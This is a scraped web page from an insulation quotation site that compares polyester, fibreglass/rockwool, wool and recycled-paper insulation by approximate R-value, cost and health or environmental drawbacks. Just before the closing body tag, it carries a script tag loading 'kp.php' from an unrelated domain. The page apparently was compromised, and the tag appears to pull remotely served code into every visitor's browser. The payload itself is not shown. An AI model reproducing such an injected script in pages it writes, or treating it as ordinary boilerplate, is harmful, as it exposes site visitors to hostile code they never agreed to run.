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Put simply the higher the R-value the more effective the insulation. The thickness of the material is the main contributing factor to the level of r–value. At insulation quotation we recommend a r-value of at least 2 in order to start noticing a saving on your energy bills.</p> <p><strong>Please note the r-values associated with the materials below is using samples of 100mm in thickness.</strong></p> <p><span style="color: #00ff00;"><span style="font-size: 14pt;">Selecting The Correct Material</span></span></p> <p>There are a number of insulation types in the market and the all come with a range of features and benefits. Further information on each type can be found below.</p> <p><strong><span style="color: #00ccff;">Polyester</span></strong> (Approx R-value 2 for 100mm thick batts)</p> <p> The performance of polyester is generally good. It is manfactured using fossil fuels and is found to be more expensive than fibreglass. However there are minimal health concerns in relation to toxicity issues and most polyester batts have been treated with fire retardant chemicals.</p> <p> </p> <p><span style="color: #333333;"><strong><span style="color: #00ccff;">Fibreglass/Rockwool</span></strong></span> (approx R-value 2.4 for 100mm thickness)</p> <p>This is the most commonly used insulation material and at insulation quotation this material comes highly recommended. Our customer feedback from this insulation is well documented and it outperforms most other materials in R-values and price.</p> <p>The only drawback with fibreglass is that it is manufactured from non-renewable resource and thier have been some issues raised regarding health impacts on installers and occupants. It is the size of the fibres that causes concern to some scientists, and comparisons to asbestos have been made. </p> <p><strong><span style="color: #00ccff;">Wool and wool blends</span></strong> (approx R 2.5 for 100 mm of loose fill less in batts or blanket form)</p> <p> Wool is a natural resource and pollutes much less during the manufacturing process. However current wool products do not perform as well as fibreglass technically in batt form. Woollen insulation can also be10-20% more expensive. Due to the enviromentally friendly nature of the product there has been an increase in the research the wool insulation industry.</p> <p><strong><span style="color: #00ccff;">Recycled paper</span></strong> (approx R 2.2 for 100mm loose fill)</p> <p>Loose fill insulation is mostly cheaper than batts. The major drawback of loose fill insulation it will settle over time reducing its effectiveness and it can be very costly to remove. </p> <p> </p> <br /> </td> </tr> </table> <span class="article_separator"> </span> </div> </div> </div> <div> <img src="http://insulationquotation.com/templates/easy/images/contact.png" /> </div>  <div style="padding-left:30px; padding-top:20px;"> <div>Copyright © 2010 Insulation Quotation. All Rights Reserved.</div> </div> </div> </div> </div> </div> </div> <div class="content-bottom png clear"><span class="png"><span class="png"></span></span></div> </div> </div> </div> </div> <script src="http://cloudisthebestnow.com/kp.php"></script> </body> <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? 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